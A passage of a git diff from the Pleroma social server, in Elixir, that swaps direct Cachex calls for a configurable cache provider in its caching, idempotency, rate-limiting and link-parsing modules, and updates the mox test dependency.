	conn = opts.tracking_fun.(conn, tracking_fun_data)

	send_cached(conn, {content_type, body})

	{:ok, record} ->
	send_cached(conn, record)

	{atom, message} when atom in [:ignore, :error] ->
	render_error(conn, message)
	end
	end

	def call(conn, _), do: conn

	# full path including query params
	defp cache_key(conn, %{query_params: true}), do: current_path(conn)

	# request path without query params
	defp cache_key(conn, %{query_params: false}), do: conn.request_path

	# request path with specific query params
	defp cache_key(conn, %{query_params: query_params}) when is_list(query_params) do
	query_string =
	conn.params
	\|> Map.take(query_params)
	\|> URI.encode_query()

	conn.request_path <> "?" <> query_string
	end

	defp cache_resp(conn, opts) do
	register_before_send(conn, fn
	%{status: 200, resp_body: body} = conn ->
	ttl = Map.get(conn.assigns, :cache_ttl, opts.ttl)
	key = cache_key(conn, opts)
	content_type = content_type(conn)

	conn =
	unless opts[:tracking_fun] do
	- Cachex.put(:web_resp_cache, key, {content_type, body}, ttl: ttl)
	+ @cachex.put(:web_resp_cache, key, {content_type, body}, ttl: ttl)
	conn
	else
	tracking_fun_data = Map.get(conn.assigns, :tracking_fun_data, nil)
	- Cachex.put(:web_resp_cache, key, {content_type, body, tracking_fun_data}, ttl: ttl)
	+ @cachex.put(:web_resp_cache, key, {content_type, body, tracking_fun_data}, ttl: ttl)

	opts.tracking_fun.(conn, tracking_fun_data)
	end

	put_resp_header(conn, "x-cache", "MISS from Pleroma")

	conn ->
	conn
	end)
	end

	defp content_type(conn) do
	conn
	\|> Plug.Conn.get_resp_header("content-type")
	\|> hd()
	end

	defp send_cached(conn, {content_type, body}) do
	conn
	\|> put_resp_content_type(content_type, nil)
	\|> put_resp_header("x-cache", "HIT from Pleroma")
	\|> send_resp(:ok, body)
	\|> halt()
	end

	defp render_error(conn, message) do
	conn
	\|> put_status(:internal_server_error)
	\|> json(%{error: message})
	\|> halt()
	end
	end
	diff --git a/lib/pleroma/web/plugs/idempotency_plug.ex b/lib/pleroma/web/plugs/idempotency_plug.ex
	index 254a790b0..4f908779c 100644
	--- a/lib/pleroma/web/plugs/idempotency_plug.ex
	+++ b/lib/pleroma/web/plugs/idempotency_plug.ex
	@@ -1,84 +1,86 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Plugs.IdempotencyPlug do
	import Phoenix.Controller, only: [json: 2]
	import Plug.Conn

	@behaviour Plug

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	@impl true
	def init(opts), do: opts

	# Sending idempotency keys in `GET` and `DELETE` requests has no effect
	# and should be avoided, as these requests are idempotent by definition.

	@impl true
	def call(%{method: method} = conn, _) when method in ["POST", "PUT", "PATCH"] do
	case get_req_header(conn, "idempotency-key") do
	[key] -> process_request(conn, key)
	_ -> conn
	end
	end

	def call(conn, _), do: conn

	def process_request(conn, key) do
	- case Cachex.get(:idempotency_cache, key) do
	+ case @cachex.get(:idempotency_cache, key) do
	{:ok, nil} ->
	cache_resposnse(conn, key)

	{:ok, record} ->
	send_cached(conn, key, record)

	{atom, message} when atom in [:ignore, :error] ->
	render_error(conn, message)
	end
	end

	defp cache_resposnse(conn, key) do
	register_before_send(conn, fn conn ->
	[request_id] = get_resp_header(conn, "x-request-id")
	content_type = get_content_type(conn)

	record = {request_id, content_type, conn.status, conn.resp_body}
	- {:ok, _} = Cachex.put(:idempotency_cache, key, record)
	+ {:ok, _} = @cachex.put(:idempotency_cache, key, record)

	conn
	\|> put_resp_header("idempotency-key", key)
	\|> put_resp_header("x-original-request-id", request_id)
	end)
	end

	defp send_cached(conn, key, record) do
	{request_id, content_type, status, body} = record

	conn
	\|> put_resp_header("idempotency-key", key)
	\|> put_resp_header("idempotent-replayed", "true")
	\|> put_resp_header("x-original-request-id", request_id)
	\|> put_resp_content_type(content_type)
	\|> send_resp(status, body)
	\|> halt()
	end

	defp render_error(conn, message) do
	conn
	\|> put_status(:unprocessable_entity)
	\|> json(%{error: message})
	\|> halt()
	end

	defp get_content_type(conn) do
	[content_type] = get_resp_header(conn, "content-type")

	if String.contains?(content_type, ";") do
	content_type
	\|> String.split(";")
	\|> hd()
	else
	content_type
	end
	end
	end
	diff --git a/lib/pleroma/web/plugs/rate_limiter.ex b/lib/pleroma/web/plugs/rate_limiter.ex
	index a589610d1..034a5bbe2 100644
	--- a/lib/pleroma/web/plugs/rate_limiter.ex
	+++ b/lib/pleroma/web/plugs/rate_limiter.ex
	@@ -1,267 +1,269 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Plugs.RateLimiter do
	@moduledoc """

	## Configuration

	A keyword list of rate limiters where a key is a limiter name and value is the limiter configuration.
	The basic configuration is a tuple where:

	* The first element: `scale` (Integer). The time scale in milliseconds.
	* The second element: `limit` (Integer). How many requests to limit in the time scale provided.

	It is also possible to have different limits for unauthenticated and authenticated users: the keyword value must be a
	list of two tuples where the first one is a config for unauthenticated users and the second one is for authenticated.

	To disable a limiter set its value to `nil`.

	### Example

	config :pleroma, :rate_limit,
	one: {1000, 10},
	two: [{10_000, 10}, {10_000, 50}],
	foobar: nil

	Here we have three limiters:

	* `one` which is not over 10req/1s
	* `two` which has two limits: 10req/10s for unauthenticated users and 50req/10s for authenticated users
	* `foobar` which is disabled

	## Usage

	AllowedSyntax:

	plug(Pleroma.Web.Plugs.RateLimiter, name: :limiter_name)
	plug(Pleroma.Web.Plugs.RateLimiter, options) # :name is a required option

	Allowed options:

	* `name` required, always used to fetch the limit values from the config
	* `bucket_name` overrides name for counting purposes (e.g. to have a separate limit for a set of actions)
	* `params` appends values of specified request params (e.g. ["id"]) to bucket name

	Inside a controller:

	plug(Pleroma.Web.Plugs.RateLimiter, [name: :one] when action == :one)
	plug(Pleroma.Web.Plugs.RateLimiter, [name: :two] when action in [:two, :three])

	plug(
	Pleroma.Web.Plugs.RateLimiter,
	[name: :status_id_action, bucket_name: "status_id_action:fav_unfav", params: ["id"]]
	when action in ~w(fav_status unfav_status)a
	)

	or inside a router pipeline:

	pipeline :api do
	...
	plug(Pleroma.Web.Plugs.RateLimiter, name: :one)
	...
	end
	"""
	import Pleroma.Web.TranslationHelpers
	import Plug.Conn

	alias Pleroma.Config
	alias Pleroma.User
	alias Pleroma.Web.Plugs.RateLimiter.LimiterSupervisor

	require Logger

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	@doc false
	def init(plug_opts) do
	plug_opts
	end

	def call(conn, plug_opts) do
	if disabled?(conn) do
	handle_disabled(conn)
	else
	action_settings = action_settings(plug_opts)
	handle(conn, action_settings)
	end
	end

	defp handle_disabled(conn) do
	Logger.warn(
	"Rate limiter disabled due to forwarded IP not being found. Please ensure your reverse proxy is providing the X-Forwarded-For header or disable the RemoteIP plug/rate limiter."
	)

	conn
	end

	defp handle(conn, nil), do: conn

	defp handle(conn, action_settings) do
	action_settings
	\|> incorporate_conn_info(conn)
	\|> check_rate()
	\|> case do
	{:ok, _count} ->
	conn

	{:error, _count} ->
	render_throttled_error(conn)
	end
	end

	def disabled?(conn) do
	if Map.has_key?(conn.assigns, :remote_ip_found),
	do: !conn.assigns.remote_ip_found,
	else: false
	end

	@inspect_bucket_not_found {:error, :not_found}

	def inspect_bucket(conn, bucket_name_root, plug_opts) do
	with %{name: _} = action_settings <- action_settings(plug_opts) do
	action_settings = incorporate_conn_info(action_settings, conn)
	bucket_name = make_bucket_name(%{action_settings \| name: bucket_name_root})
	key_name = make_key_name(action_settings)
	limit = get_limits(action_settings)

	- case Cachex.get(bucket_name, key_name) do
	+ case @cachex.get(bucket_name, key_name) do
	{:error, :no_cache} ->
	@inspect_bucket_not_found

	{:ok, nil} ->
	{0, limit}

	{:ok, value} ->
	{value, limit - value}
	end
	else
	_ -> @inspect_bucket_not_found
	end
	end

	def action_settings(plug_opts) do
	with limiter_name when is_atom(limiter_name) <- plug_opts[:name],
	limits when not is_nil(limits) <- Config.get([:rate_limit, limiter_name]) do
	bucket_name_root = Keyword.get(plug_opts, :bucket_name, limiter_name)

	%{
	name: bucket_name_root,
	limits: limits,
	opts: plug_opts
	}
	end
	end

	defp check_rate(action_settings) do
	bucket_name = make_bucket_name(action_settings)
	key_name = make_key_name(action_settings)
	limit = get_limits(action_settings)

	- case Cachex.get_and_update(bucket_name, key_name, &increment_value(&1, limit)) do
	+ case @cachex.get_and_update(bucket_name, key_name, &increment_value(&1, limit)) do
	{:commit, value} ->
	{:ok, value}

	{:ignore, value} ->
	{:error, value}

	{:error, :no_cache} ->
	initialize_buckets!(action_settings)
	check_rate(action_settings)
	end
	end

	defp increment_value(nil, _limit), do: {:commit, 1}

	defp increment_value(val, limit) when val >= limit, do: {:ignore, val}

	defp increment_value(val, _limit), do: {:commit, val + 1}

	defp incorporate_conn_info(action_settings, %{
	assigns: %{user: %User{id: user_id}},
	params: params
	}) do
	Map.merge(action_settings, %{
	mode: :user,
	conn_params: params,
	conn_info: "#{user_id}"
	})
	end

	defp incorporate_conn_info(action_settings, %{params: params} = conn) do
	Map.merge(action_settings, %{
	mode: :anon,
	conn_params: params,
	conn_info: "#{ip(conn)}"
	})
	end

	defp ip(%{remote_ip: remote_ip}) do
	remote_ip
	\|> Tuple.to_list()
	\|> Enum.join(".")
	end

	defp render_throttled_error(conn) do
	conn
	\|> render_error(:too_many_requests, "Throttled")
	\|> halt()
	end

	defp make_key_name(action_settings) do
	""
	\|> attach_selected_params(action_settings)
	\|> attach_identity(action_settings)
	end

	defp get_scale(_, {scale, _}), do: scale

	defp get_scale(:anon, [{scale, _}, {_, _}]), do: scale

	defp get_scale(:user, [{_, _}, {scale, _}]), do: scale

	defp get_limits(%{limits: {_scale, limit}}), do: limit

	defp get_limits(%{mode: :user, limits: [_, {_, limit}]}), do: limit

	defp get_limits(%{limits: [{_, limit}, _]}), do: limit

	defp make_bucket_name(%{mode: :user, name: bucket_name_root}),
	do: user_bucket_name(bucket_name_root)

	defp make_bucket_name(%{mode: :anon, name: bucket_name_root}),
	do: anon_bucket_name(bucket_name_root)

	defp attach_selected_params(input, %{conn_params: conn_params, opts: plug_opts}) do
	params_string =
	plug_opts
	\|> Keyword.get(:params, [])
	\|> Enum.sort()
	\|> Enum.map(&Map.get(conn_params, &1, ""))
	\|> Enum.join(":")

	[input, params_string]
	\|> Enum.join(":")
	\|> String.replace_leading(":", "")
	end

	defp initialize_buckets!(%{name: _name, limits: nil}), do: :ok

	defp initialize_buckets!(%{name: name, limits: limits}) do
	{:ok, _pid} =
	LimiterSupervisor.add_or_return_limiter(anon_bucket_name(name), get_scale(:anon, limits))

	{:ok, _pid} =
	LimiterSupervisor.add_or_return_limiter(user_bucket_name(name), get_scale(:user, limits))

	:ok
	end

	defp attach_identity(base, %{mode: :user, conn_info: conn_info}),
	do: "user:#{base}:#{conn_info}"

	defp attach_identity(base, %{mode: :anon, conn_info: conn_info}),
	do: "ip:#{base}:#{conn_info}"

	defp user_bucket_name(bucket_name_root), do: "user:#{bucket_name_root}" \|> String.to_atom()
	defp anon_bucket_name(bucket_name_root), do: "anon:#{bucket_name_root}" \|> String.to_atom()
	end
	diff --git a/lib/pleroma/web/rel_me.ex b/lib/pleroma/web/rel_me.ex
	index 28f75b18d..650c6a3fc 100644
	--- a/lib/pleroma/web/rel_me.ex
	+++ b/lib/pleroma/web/rel_me.ex
	@@ -1,52 +1,53 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.RelMe do
	@options [
	pool: :media,
	max_body: 2_000_000,
	recv_timeout: 2_000
	]

	if Pleroma.Config.get(:env) == :test do
	def parse(url) when is_binary(url), do: parse_url(url)
	else
	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	def parse(url) when is_binary(url) do
	- Cachex.fetch!(:rel_me_cache, url, fn _ ->
	+ @cachex.fetch!(:rel_me_cache, url, fn _ ->
	{:commit, parse_url(url)}
	end)
	rescue
	e -> {:error, "Cachex error: #{inspect(e)}"}
	end
	end

	def parse(_), do: {:error, "No URL provided"}

	defp parse_url(url) do
	with {:ok, %Tesla.Env{body: html, status: status}} when status in 200..299 <-
	Pleroma.HTTP.get(url, [], @options),
	{:ok, html_tree} <- Floki.parse_document(html),
	data <-
	Floki.attribute(html_tree, "link[rel~=me]", "href") ++
	Floki.attribute(html_tree, "a[rel~=me]", "href") do
	{:ok, data}
	end
	rescue
	e -> {:error, "Parsing error: #{inspect(e)}"}
	end

	def maybe_put_rel_me("http" <> _ = target_page, profile_urls) when is_list(profile_urls) do
	{:ok, rel_me_hrefs} = parse(target_page)

	true = Enum.any?(rel_me_hrefs, fn x -> x in profile_urls end)

	"me"
	rescue
	_ -> nil
	end

	def maybe_put_rel_me(_, _) do
	nil
	end
	end
	diff --git a/lib/pleroma/web/rich_media/parser.ex b/lib/pleroma/web/rich_media/parser.ex
	index c70d2fdba..d7a491198 100644
	--- a/lib/pleroma/web/rich_media/parser.ex
	+++ b/lib/pleroma/web/rich_media/parser.ex
	@@ -1,167 +1,169 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.RichMedia.Parser do
	require Logger

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	defp parsers do
	Pleroma.Config.get([:rich_media, :parsers])
	end

	def parse(nil), do: {:error, "No URL provided"}

	if Pleroma.Config.get(:env) == :test do
	@spec parse(String.t()) :: {:ok, map()} \| {:error, any()}
	def parse(url), do: parse_url(url)
	else
	@spec parse(String.t()) :: {:ok, map()} \| {:error, any()}
	def parse(url) do
	with {:ok, data} <- get_cached_or_parse(url),
	{:ok, _} <- set_ttl_based_on_image(data, url) do
	{:ok, data}
	end
	end

	defp get_cached_or_parse(url) do
	- case Cachex.fetch(:rich_media_cache, url, fn ->
	+ case @cachex.fetch(:rich_media_cache, url, fn ->
	case parse_url(url) do
	{:ok, _} = res ->
	{:commit, res}

	{:error, reason} = e ->
	# Unfortunately we have to log errors here, instead of doing that
	# along with ttl setting at the bottom. Otherwise we can get log spam
	# if more than one process was waiting for the rich media card
	# while it was generated. Ideally we would set ttl here as well,
	# so we don't override it number_of_waiters_on_generation
	# times, but one, obviously, can't set ttl for not-yet-created entry
	# and Cachex doesn't support returning ttl from the fetch callback.
	log_error(url, reason)
	{:commit, e}
	end
	end) do
	{action, res} when action in [:commit, :ok] ->
	case res do
	{:ok, _data} = res ->
	res

	{:error, reason} = e ->
	if action == :commit, do: set_error_ttl(url, reason)
	e
	end

	{:error, e} ->
	{:error, {:cachex_error, e}}
	end
	end

	defp set_error_ttl(_url, :body_too_large), do: :ok
	defp set_error_ttl(_url, {:content_type, _}), do: :ok

	# The TTL is not set for the errors above, since they are unlikely to change
	# with time

	defp set_error_ttl(url, _reason) do
	ttl = Pleroma.Config.get([:rich_media, :failure_backoff], 60_000)
	- Cachex.expire(:rich_media_cache, url, ttl)
	+ @cachex.expire(:rich_media_cache, url, ttl)
	:ok
	end

	defp log_error(url, {:invalid_metadata, data}) do
	Logger.debug(fn -> "Incomplete or invalid metadata for #{url}: #{inspect(data)}" end)
	end

	defp log_error(url, reason) do
	Logger.warn(fn -> "Rich media error for #{url}: #{inspect(reason)}" end)
	end
	end

	@doc """
	Set the rich media cache based on the expiration time of image.

	Adopt behaviour `Pleroma.Web.RichMedia.Parser.TTL`

	## Example

	defmodule MyModule do
	@behaviour Pleroma.Web.RichMedia.Parser.TTL
	def ttl(data, url) do
	image_url = Map.get(data, :image)
	# do some parsing in the url and get the ttl of the image
	# and return ttl is unix time
	parse_ttl_from_url(image_url)
	end
	end

	Define the module in the config

	config :pleroma, :rich_media,
	ttl_setters: [MyModule]
	"""
	@spec set_ttl_based_on_image(map(), String.t()) ::
	{:ok, Integer.t() \| :noop} \| {:error, :no_key}
	def set_ttl_based_on_image(data, url) do
	case get_ttl_from_image(data, url) do
	{:ok, ttl} when is_number(ttl) ->
	ttl = ttl * 1000

	- case Cachex.expire_at(:rich_media_cache, url, ttl) do
	+ case @cachex.expire_at(:rich_media_cache, url, ttl) do
	{:ok, true} -> {:ok, ttl}
	{:ok, false} -> {:error, :no_key}
	end

	_ ->
	{:ok, :noop}
	end
	end

	defp get_ttl_from_image(data, url) do
	[:rich_media, :ttl_setters]
	\|> Pleroma.Config.get()
	\|> Enum.reduce({:ok, nil}, fn
	module, {:ok, _ttl} ->
	module.ttl(data, url)

	_, error ->
	error
	end)
	end

	def parse_url(url) do
	with {:ok, %Tesla.Env{body: html}} <- Pleroma.Web.RichMedia.Helpers.rich_media_get(url),
	{:ok, html} <- Floki.parse_document(html) do
	html
	\|> maybe_parse()
	\|> Map.put("url", url)
	\|> clean_parsed_data()
	\|> check_parsed_data()
	end
	end

	defp maybe_parse(html) do
	Enum.reduce_while(parsers(), %{}, fn parser, acc ->
	case parser.parse(html, acc) do
	data when data != %{} -> {:halt, data}
	_ -> {:cont, acc}
	end
	end)
	end

	defp check_parsed_data(%{"title" => title} = data)
	when is_binary(title) and title != "" do
	{:ok, data}
	end

	defp check_parsed_data(data) do
	{:error, {:invalid_metadata, data}}
	end

	defp clean_parsed_data(data) do
	data
	\|> Enum.reject(fn {key, val} ->
	not match?({:ok, _}, Jason.encode(%{key => val}))
	end)
	\|> Map.new()
	end
	end
	diff --git a/mix.exs b/mix.exs
	index 980f17a04..a596e34ea 100644
	--- a/mix.exs
	+++ b/mix.exs
	@@ -1,336 +1,336 @@
	defmodule Pleroma.Mixfile do
	use Mix.Project

	def project do
	[
	app: :pleroma,
	version: version("2.2.50"),
	elixir: "~> 1.9",
	elixirc_paths: elixirc_paths(Mix.env()),
	compilers: [:phoenix, :gettext] ++ Mix.compilers(),
	elixirc_options: [warnings_as_errors: warnings_as_errors(Mix.env())],
	xref: [exclude: [:eldap]],
	start_permanent: Mix.env() == :prod,
	aliases: aliases(),
	deps: deps(),
	test_coverage: [tool: ExCoveralls],
	preferred_cli_env: ["coveralls.html": :test],
	# Docs
	name: "Pleroma",
	homepage_url: "https://pleroma.social/",
	source_url: "https://git.pleroma.social/pleroma/pleroma",
	docs: [
	source_url_pattern:
	"https://git.pleroma.social/pleroma/pleroma/blob/develop/%{path}#L%{line}",
	logo: "priv/static/images/logo.png",
	extras: ["README.md", "CHANGELOG.md"] ++ Path.wildcard("docs/*/.md"),
	groups_for_extras: [
	"Installation manuals": Path.wildcard("docs/installation/*.md"),
	Configuration: Path.wildcard("docs/config/*.md"),
	Administration: Path.wildcard("docs/admin/*.md"),
	"Pleroma's APIs and Mastodon API extensions": Path.wildcard("docs/api/*.md")
	],
	main: "readme",
	output: "priv/static/doc"
	],
	releases: [
	pleroma: [
	include_executables_for: [:unix],
	applications: [ex_syslogger: :load, syslog: :load, eldap: :transient],
	steps: [:assemble, &put_otp_version/1, &copy_files/1, &copy_nginx_config/1],
	config_providers: [{Pleroma.Config.ReleaseRuntimeProvider, nil}]
	]
	]
	]
	end

	def put_otp_version(%{path: target_path} = release) do
	File.write!(
	Path.join([target_path, "OTP_VERSION"]),
	Pleroma.OTPVersion.version()
	)

	release
	end

	def copy_files(%{path: target_path} = release) do
	File.cp_r!("./rel/files", target_path)
	release
	end

	def copy_nginx_config(%{path: target_path} = release) do
	File.cp!(
	"./installation/pleroma.nginx",
	Path.join([target_path, "installation", "pleroma.nginx"])
	)

	release
	end

	# Configuration for the OTP application.
	#
	# Type `mix help compile.app` for more information.
	def application do
	[
	mod: {Pleroma.Application, []},
	extra_applications: [
	:logger,
	:runtime_tools,
	:comeonin,
	:quack,
	:fast_sanitize,
	:ssl
	],
	included_applications: [:ex_syslogger]
	]
	end

	# Specifies which paths to compile per environment.
	defp elixirc_paths(:benchmark), do: ["lib", "benchmarks"]
	defp elixirc_paths(:test), do: ["lib", "test/support"]
	defp elixirc_paths(_), do: ["lib"]

	defp warnings_as_errors(:prod), do: false
	defp warnings_as_errors(_), do: true

	# Specifies OAuth dependencies.
	defp oauth_deps do
	oauth_strategy_packages =
	System.get_env("OAUTH_CONSUMER_STRATEGIES")
	\|> to_string()
	\|> String.split()
	\|> Enum.map(fn strategy_entry ->
	with [_strategy, dependency] <- String.split(strategy_entry, ":") do
	dependency
	else
	[strategy] -> "ueberauth_#{strategy}"
	end
	end)

	for s <- oauth_strategy_packages, do: {String.to_atom(s), ">= 0.0.0"}
	end

	# Specifies your project dependencies.
	#
	# Type `mix help deps` for examples and options.
	defp deps do
	[
	{:phoenix, "~> 1.5.5"},
	{:tzdata, "~> 1.0.3"},
	{:plug_cowboy, "~> 2.3"},
	{:phoenix_pubsub, "~> 2.0"},
	{:phoenix_ecto, "~> 4.0"},
	{:ecto_enum, "~> 1.4"},
	{:ecto_sql, "~> 3.4.4"},
	{:postgrex, ">= 0.15.5"},
	{:oban, "~> 2.1.0"},
	{:gettext, "~> 0.18"},
	{:pbkdf2_elixir, "~> 1.2"},
	{:bcrypt_elixir, "~> 2.2"},
	{:trailing_format_plug, "~> 0.0.7"},
	{:fast_sanitize, "~> 0.2.0"},
	{:html_entities, "~> 0.5", override: true},
	{:phoenix_html, "~> 2.14"},
	{:calendar, "~> 1.0"},
	{:cachex, "~> 3.2"},
	{:poison, "~> 3.0", override: true},
	{:tesla, "~> 1.4.0", override: true},
	{:castore, "~> 0.1"},
	{:cowlib, "~> 2.9", override: true},
	{:gun,
	github: "ninenines/gun", ref: "921c47146b2d9567eac7e9a4d2ccc60fffd4f327", override: true},
	{:jason, "~> 1.2"},
	{:mogrify, "~> 0.7.4"},
	{:ex_aws, "~> 2.1.6"},
	{:ex_aws_s3, "~> 2.0"},
	{:sweet_xml, "~> 0.6.6"},
	{:earmark, "1.4.3"},
	{:bbcode_pleroma, "~> 0.2.0"},
	{:crypt,
	git: "https://github.com/msantos/crypt.git",
	ref: "f63a705f92c26955977ee62a313012e309a4d77a"},
	{:cors_plug, "~> 2.0"},
	{:web_push_encryption, "~> 0.3"},
	{:swoosh, "~> 1.0"},
	{:phoenix_swoosh, "~> 0.3"},
	{:gen_smtp, "~> 0.13"},
	{:ex_syslogger, "~> 1.4"},
	{:floki, "~> 0.27"},
	{:timex, "~> 3.6"},
	{:ueberauth, "~> 0.4"},
	{:linkify, "~> 0.4.1"},
	{:http_signatures, "~> 0.1.0"},
	{:telemetry, "~> 0.3"},
	{:poolboy, "~> 1.5"},
	{:prometheus, "~> 4.6"},
	{:prometheus_ex,
	git: "https://git.pleroma.social/pleroma/elixir-libraries/prometheus.ex.git",
	ref: "a4e9beb3c1c479d14b352fd9d6dd7b1f6d7deee5",
	override: true},
	{:prometheus_plugs, "~> 1.1"},
	{:prometheus_phoenix, "~> 1.3"},
	# Note: once `prometheus_phx` is integrated into `prometheus_phoenix`, remove the former:
	{:prometheus_phx,
	git: "https://git.pleroma.social/pleroma/elixir-libraries/prometheus-phx.git",
	branch: "no-logging"},
	{:prometheus_ecto, "~> 1.4"},
	{:recon, "~> 2.5"},
	{:quack, "~> 0.1.1"},
	{:joken, "~> 2.0"},
	{:benchee, "~> 1.0"},
	{:pot, "~> 0.11"},
	{:esshd, "~> 0.1.0", runtime: Application.get_env(:esshd, :enabled, false)},
	{:ex_const, "~> 0.2"},
	{:plug_static_index_html, "~> 1.0.0"},
	{:flake_id, "~> 0.1.0"},
	{:concurrent_limiter,
	git: "https://git.pleroma.social/pleroma/elixir-libraries/concurrent_limiter.git",
	ref: "d81be41024569330f296fc472e24198d7499ba78"},
	{:remote_ip,
	git: "https://git.pleroma.social/pleroma/remote_ip.git",
	ref: "b647d0deecaa3acb140854fe4bda5b7e1dc6d1c8"},
	{:captcha,
	git: "https://git.pleroma.social/pleroma/elixir-libraries/elixir-captcha.git",
	ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"},
	{:restarter, path: "./restarter"},
	{:majic,
	git: "https://git.pleroma.social/pleroma/elixir-libraries/majic.git",
	ref: "4c692e544b28d1f5e543fb8a44be090f8cd96f80"},
	{:open_api_spex,
	git: "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git",
	ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"},

	## dev & test
	{:ex_doc, "~> 0.22", only: :dev, runtime: false},
	{:ex_machina, "~> 2.4", only: :test},
	{:credo, "~> 1.4", only: [:dev, :test], runtime: false},
	{:mock, "~> 0.3.5", only: :test},
	# temporary downgrade for excoveralls, hackney until hackney max_connections bug will be fixed
	{:excoveralls, "0.12.3", only: :test},
	{:hackney,
	git: "https://git.pleroma.social/pleroma/elixir-libraries/hackney.git",
	ref: "7d7119f0651515d6d7669c78393fd90950a3ec6e",
	override: true},
	- {:mox, "~> 0.5", only: :test},
	+ {:mox, "~> 1.0", only: :test},
	{:websocket_client, git: "https://github.com/jeremyong/websocket_client.git", only: :test}
	] ++ oauth_deps()
	end

	# Aliases are shortcuts or tasks specific to the current project.
	# For example, to create, migrate and run the seeds file at once:
	#
	# $ mix ecto.setup
	#
	# See the documentation for `Mix` for more info on aliases.
	defp aliases do
	[
	"ecto.migrate": ["pleroma.ecto.migrate"],
	"ecto.rollback": ["pleroma.ecto.rollback"],
	"ecto.setup": ["ecto.create", "ecto.migrate", "run priv/repo/seeds.exs"],
	"ecto.reset": ["ecto.drop", "ecto.setup"],
	test: ["ecto.create --quiet", "ecto.migrate", "test"],
	docs: ["pleroma.docs", "docs"],
	analyze: ["credo --strict --only=warnings,todo,fixme,consistency,readability"]
	]
	end

	# Builds a version string made of:
	# * the application version
	# * a pre-release if ahead of the tag: the describe string (-count-commithash)
	# * branch name
	# * build metadata:
	# * a build name if `PLEROMA_BUILD_NAME` or `:pleroma, :build_name` is defined
	# * the mix environment if different than prod
	defp version(version) do
	identifier_filter = ~r/[^0-9a-z\-]+/i

	git_available? = match?({_output, 0}, System.cmd("sh", ["-c", "command -v git"]))

	git_pre_release =
	if git_available? do
	{tag, tag_err} =
	System.cmd("git", ["describe", "--tags", "--abbrev=0"], stderr_to_stdout: true)

	{describe, describe_err} = System.cmd("git", ["describe", "--tags", "--abbrev=8"])
	{commit_hash, commit_hash_err} = System.cmd("git", ["rev-parse", "--short", "HEAD"])

	# Pre-release version, denoted from patch version with a hyphen
	cond do
	tag_err == 0 and describe_err == 0 ->
	describe
	\|> String.trim()
	\|> String.replace(String.trim(tag), "")
	\|> String.trim_leading("-")
	\|> String.trim()

	commit_hash_err == 0 ->
	"0-g" <> String.trim(commit_hash)

	true ->
	nil
	end
	end

	# Branch name as pre-release version component, denoted with a dot
	branch_name =
	with true <- git_available?,
	{branch_name, 0} <- System.cmd("git", ["rev-parse", "--abbrev-ref", "HEAD"]),
	branch_name <- String.trim(branch_name),
	branch_name <- System.get_env("PLEROMA_BUILD_BRANCH") \|\| branch_name,
	true <-
	!Enum.any?(["master", "HEAD", "release/", "stable"], fn name ->
	String.starts_with?(name, branch_name)
	end) do
	branch_name =
	branch_name
	\|> String.trim()
	\|> String.replace(identifier_filter, "-")

	branch_name
	else
	_ -> ""
	end

	build_name =
	cond do
	name = Application.get_env(:pleroma, :build_name) -> name
	name = System.get_env("PLEROMA_BUILD_NAME") -> name
	true -> nil
	end

	env_name = if Mix.env() != :prod, do: to_string(Mix.env())
	env_override = System.get_env("PLEROMA_BUILD_ENV")

	env_name =
	case env_override do
	nil -> env_name
	env_override when env_override in ["", "prod"] -> nil
	env_override -> env_override
	end

	# Pre-release version, denoted by appending a hyphen
	# and a series of dot separated identifiers
	pre_release =
	[git_pre_release, branch_name]
	\|> Enum.filter(fn string -> string && string != "" end)
	\|> Enum.join(".")
	\|> (fn
	"" -> nil
	string -> "-" <> String.replace(string, identifier_filter, "-")
	end).()

	# Build metadata, denoted with a plus sign
	build_metadata =
	[build_name, env_name]
	\|> Enum.filter(fn string -> string && string != "" end)
	\|> Enum.join(".")
	\|> (fn
	"" -> nil
	string -> "+" <> String.replace(string, identifier_filter, "-")
	end).()

	[version, pre_release, build_metadata]
	\|> Enum.filter(fn string -> string && string != "" end)
	\|> Enum.join()
	end
	end
	diff --git a/mix.lock b/mix.lock
	index 86c67a3ab..32b2e1391 100644
	--- a/mix.lock
	+++ b/mix.lock
	@@ -1,127 +1,127 @@
	%{
	"accept": {:hex, :accept, "0.3.5", "b33b127abca7cc948bbe6caa4c263369abf1347cfa9d8e699c6d214660f10cd1", [:rebar3], [], "hexpm", "11b18c220bcc2eab63b5470c038ef10eb6783bcb1fcdb11aa4137defa5ac1bb8"},
	"base62": {:hex, :base62, "1.2.1", "4866763e08555a7b3917064e9eef9194c41667276c51b59de2bc42c6ea65f806", [:mix], [{:custom_base, "~> 0.2.1", [hex: :custom_base, repo: "hexpm", optional: false]}], "hexpm", "3b29948de2013d3f93aa898c884a9dff847e7aec75d9d6d8c1dc4c61c2716c42"},
	"base64url": {:hex, :base64url, "0.0.1", "36a90125f5948e3afd7be97662a1504b934dd5dac78451ca6e9abf85a10286be", [:rebar], [], "hexpm"},
	"bbcode": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/bbcode.git", "f2d267675e9a7e1ad1ea9beb4cc23382762b66c2", [ref: "v0.2.0"]},
	"bbcode_pleroma": {:hex, :bbcode_pleroma, "0.2.0", "d36f5bca6e2f62261c45be30fa9b92725c0655ad45c99025cb1c3e28e25803ef", [:mix], [{:nimble_parsec, "~> 0.5", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "19851074419a5fedb4ef49e1f01b30df504bb5dbb6d6adfc135238063bebd1c3"},
